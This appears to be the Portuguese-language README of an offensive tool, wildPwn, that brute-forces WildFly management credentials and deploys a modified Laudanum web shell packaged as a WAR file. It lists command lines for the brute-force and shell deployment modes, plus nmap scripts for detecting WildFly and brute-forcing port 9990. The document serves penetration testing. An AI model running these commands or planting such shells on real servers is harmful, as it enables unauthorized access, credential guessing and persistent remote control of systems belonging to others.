hlldz/wildpwnForçador de força bruta e implantador de shell para WildFly
É uma ferramenta para WildFly. A ferramenta pode ser usada para força bruta ou implantação de shell. wildPwn.war contém um shell Laudanum modificado. userList.txt contém nomes de usuário comuns e passList.txt contém senhas comuns.
Força Bruta
python wildPwn.py -m brute --target <ALVO> -user <LISTA DE USUÁRIOS> -pass <LISTA DE SENHAS>
Implantação de Shell
python wildPwn.py -m deploy --target <ALVO> --port <PORTA> -u <USUÁRIO> -p <SENHA>
https://artofpwn.com/wildfly-exploitation.html
Detecção
nmap --script wildfly-detect <ALVO>
Força Bruta
nmap -p 9990 --script wildfly-brute --script-args "userdb=usernameList.txt,passdb=passList.txt,hostname=dominio.com" <ALVO>